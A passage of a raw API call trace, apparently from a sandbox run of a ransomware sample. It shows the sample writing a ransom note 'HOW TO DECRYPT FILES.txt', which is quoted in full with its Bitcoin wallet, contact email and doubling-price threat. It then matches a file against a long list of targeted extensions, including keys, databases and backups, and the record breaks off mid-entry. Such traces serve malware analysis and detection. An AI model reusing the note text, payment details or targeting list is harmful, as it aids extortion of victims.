lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\HOW TO DECRYPT FILES.txt" [0107.497] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\how to decrypt files.txt")) returned 0xffffffff [0107.497] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.498] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0107.498] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0107.499] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.499] CloseHandle (hObject=0x90) returned 1 [0107.499] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\", lpString2="mcepg.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll" [0107.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.ems") returned 0 [0107.500] lstrlenA (lpString="*.ems") returned 5 [0107.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.db") returned 0 [0107.500] lstrlenA (lpString="*.db") returned 4 [0107.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.dbf") returned 0 [0107.500] lstrlenA (lpString="*.dbf") returned 5 [0107.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.myox") returned 0 [0107.500] lstrlenA (lpString="*.myox") returned 6 [0107.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.myo") returned 0 [0107.500] lstrlenA (lpString="*.myo") returned 5 [0107.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.qbw") returned 0 [0107.500] lstrlenA (lpString="*.qbw") returned 5 [0107.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.qbb") returned 0 [0107.500] lstrlenA (lpString="*.qbb") returned 5 [0107.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.qbm") returned 0 [0107.500] lstrlenA (lpString="*.qbm") returned 5 [0107.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.qbo") returned 0 [0107.500] lstrlenA (lpString="*.qbo") returned 5 [0107.500] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.qbx") returned 0 [0107.500] lstrlenA (lpString="*.qbx") returned 5 [0107.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.qba") returned 0 [0107.501] lstrlenA (lpString="*.qba") returned 5 [0107.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.qby") returned 0 [0107.501] lstrlenA (lpString="*.qby") returned 5 [0107.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.qbj") returned 0 [0107.501] lstrlenA (lpString="*.qbj") returned 5 [0107.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.ofx") returned 0 [0107.501] lstrlenA (lpString="*.ofx") returned 5 [0107.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.qif") returned 0 [0107.501] lstrlenA (lpString="*.qif") returned 5 [0107.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.mye") returned 0 [0107.501] lstrlenA (lpString="*.mye") returned 5 [0107.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.mbox") returned 0 [0107.501] lstrlenA (lpString="*.mbox") returned 6 [0107.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.eml") returned 0 [0107.501] lstrlenA (lpString="*.eml") returned 5 [0107.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.pst") returned 0 [0107.501] lstrlenA (lpString="*.pst") returned 5 [0107.501] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.ost") returned 0 [0107.502] lstrlenA (lpString="*.ost") returned 5 [0107.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.idx") returned 0 [0107.502] lstrlenA (lpString="*.idx") returned 5 [0107.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.dbx") returned 0 [0107.502] lstrlenA (lpString="*.dbx") returned 5 [0107.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.sql") returned 0 [0107.502] lstrlenA (lpString="*.sql") returned 5 [0107.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.mdb") returned 0 [0107.502] lstrlenA (lpString="*.mdb") returned 5 [0107.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.fdb") returned 0 [0107.502] lstrlenA (lpString="*.fdb") returned 5 [0107.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.wab") returned 0 [0107.502] lstrlenA (lpString="*.wab") returned 5 [0107.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.dat") returned 0 [0107.502] lstrlenA (lpString="*.dat") returned 5 [0107.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.txt") returned 0 [0107.502] lstrlenA (lpString="*.txt") returned 5 [0107.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.jpeg") returned 0 [0107.502] lstrlenA (lpString="*.jpeg") returned 6 [0107.502] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.jpg") returned 0 [0107.503] lstrlenA (lpString="*.jpg") returned 5 [0107.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.png") returned 0 [0107.503] lstrlenA (lpString="*.png") returned 5 [0107.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.php") returned 0 [0107.503] lstrlenA (lpString="*.php") returned 5 [0107.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.cs") returned 0 [0107.503] lstrlenA (lpString="*.cs") returned 4 [0107.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.cpp") returned 0 [0107.503] lstrlenA (lpString="*.cpp") returned 5 [0107.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.rar") returned 0 [0107.503] lstrlenA (lpString="*.rar") returned 5 [0107.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.zip") returned 0 [0107.503] lstrlenA (lpString="*.zip") returned 5 [0107.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.html") returned 0 [0107.503] lstrlenA (lpString="*.html") returned 6 [0107.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.htm") returned 0 [0107.503] lstrlenA (lpString="*.htm") returned 5 [0107.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.xlsx") returned 0 [0107.503] lstrlenA (lpString="*.xlsx") returned 6 [0107.503] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.xls") returned 0 [0107.504] lstrlenA (lpString="*.xls") returned 5 [0107.504] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.mp4") returned 0 [0107.504] lstrlenA (lpString="*.mp4") returned 5 [0107.504] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.ppt") returned 0 [0107.504] lstrlenA (lpString="*.ppt") returned 5 [0107.504] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.pptx") returned 0 [0107.504] lstrlenA (lpString="*.pptx") returned 6 [0107.504] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.doc") returned 0 [0107.504] lstrlenA (lpString="*.doc") returned 5 [0107.504] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.dot") returned 0 [0107.504] lstrlenA (lpString="*.dot") returned 5 [0107.504] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.docx") returned 0 [0107.504] lstrlenA (lpString="*.docx") returned 6 [0107.504] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.7z") returned 0 [0107.504] lstrlenA (lpString="*.7z") returned 4 [0107.504] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.tar") returned 0 [0107.504] lstrlenA (lpString="*.tar") returned 5 [0107.504] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.bz2") returned 0 [0107.504] lstrlenA (lpString="*.bz2") returned 5 [0107.504] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.gz") returned 0 [0107.505] lstrlenA (lpString="*.gz") returned 4 [0107.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.mkv") returned 0 [0107.505] lstrlenA (lpString="*.mkv") returned 5 [0107.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.eml") returned 0 [0107.505] lstrlenA (lpString="*.eml") returned 5 [0107.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.msg") returned 0 [0107.505] lstrlenA (lpString="*.msg") returned 5 [0107.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.edb") returned 0 [0107.505] lstrlenA (lpString="*.edb") returned 5 [0107.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.accdb") returned 0 [0107.505] lstrlenA (lpString="*.accdb") returned 7 [0107.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.odb") returned 0 [0107.505] lstrlenA (lpString="*.odb") returned 5 [0107.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.java") returned 0 [0107.505] lstrlenA (lpString="*.java") returned 6 [0107.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.asm") returned 0 [0107.505] lstrlenA (lpString="*.asm") returned 5 [0107.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.pfx") returned 0 [0107.505] lstrlenA (lpString="*.pfx") returned 5 [0107.505] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.pem") returned 0 [0107.506] lstrlenA (lpString="*.pem") returned 5 [0107.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.p12") returned 0 [0107.506] lstrlenA (lpString="*.p12") returned 5 [0107.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.gpg") returned 0 [0107.506] lstrlenA (lpString="*.gpg") returned 5 [0107.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.vsd") returned 0 [0107.506] lstrlenA (lpString="*.vsd") returned 5 [0107.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.odg") returned 0 [0107.506] lstrlenA (lpString="*.odg") returned 5 [0107.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.raw") returned 0 [0107.506] lstrlenA (lpString="*.raw") returned 5 [0107.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.nef") returned 0 [0107.506] lstrlenA (lpString="*.nef") returned 5 [0107.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.svg") returned 0 [0107.506] lstrlenA (lpString="*.svg") returned 5 [0107.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.psd") returned 0 [0107.506] lstrlenA (lpString="*.psd") returned 5 [0107.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.vmx") returned 0 [0107.506] lstrlenA (lpString="*.vmx") returned 5 [0107.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.vmdk") returned 0 [0107.506] lstrlenA (lpString="*.vmdk") returned 6 [0107.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.vdi") returned 0 [0107.507] lstrlenA (lpString="*.vdi") returned 5 [0107.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.lay6") returned 0 [0107.507] lstrlenA (lpString="*.lay6") returned 6 [0107.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.mpeg") returned 0 [0107.507] lstrlenA (lpString="*.mpeg") returned 6 [0107.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.djvu") returned 0 [0107.507] lstrlenA (lpString="*.djvu") returned 6 [0107.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.tiff") returned 0 [0107.507] lstrlenA (lpString="*.tiff") returned 6 [0107.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.backup") returned 0 [0107.507] lstrlenA (lpString="*.backup") returned 8 [0107.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.pdf") returned 0 [0107.507] lstrlenA (lpString="*.pdf") returned 5 [0107.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.cert") returned 0 [0107.507] lstrlenA (lpString="*.cert") returned 6 [0107.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.docm") returned 0 [0107.507] lstrlenA (lpString="*.docm") returned 6 [0107.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.xlsm") returned 0 [0107.507] lstrlenA (lpString="*.xlsm") returned 6 [0107.507] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.dwg") returned 0 [0107.507] lstrlenA (lpString="*.dwg") returned 5 [0107.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.nd") returned 0 [0107.508] lstrlenA (lpString="*.nd") returned 4 [0107.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.tlg") returned 0 [0107.508] lstrlenA (lpString="*.tlg") returned 5 [0107.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.lgb") returned 0 [0107.508] lstrlenA (lpString="*.lgb") returned 5 [0107.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.mov") returned 0 [0107.508] lstrlenA (lpString="*.mov") returned 5 [0107.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.xdw") returned 0 [0107.508] lstrlenA (lpString="*.xdw") returned 5 [0107.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.ods") returned 0 [0107.508] lstrlenA (lpString="*.ods") returned 5 [0107.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.wav") returned 0 [0107.508] lstrlenA (lpString="*.wav") returned 5 [0107.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.mp3") returned 0 [0107.508] lstrlenA (lpString="*.mp3") returned 5 [0107.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.aiff") returned 0 [0107.508] lstrlenA (lpString="*.aiff") returned 6 [0107.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.flac") returned 0 [0107.508] lstrlenA (lpString="*.flac") returned 6 [0107.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.m4a") returned 0 [0107.508] lstrlenA (lpString="*.m4a") returned 5 [0107.508] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\mcepg\\13b4ad00d1167ff3ed7d2a8e4994f1ff\\mcepg.ni.dll", pszSpec="*.csv") returned 0 [0107.509] lstrlenA (lpString="*.csv") returned 5 [0107.509] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3094c793, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x3094c793, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x96cd50dc, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x3e6200, 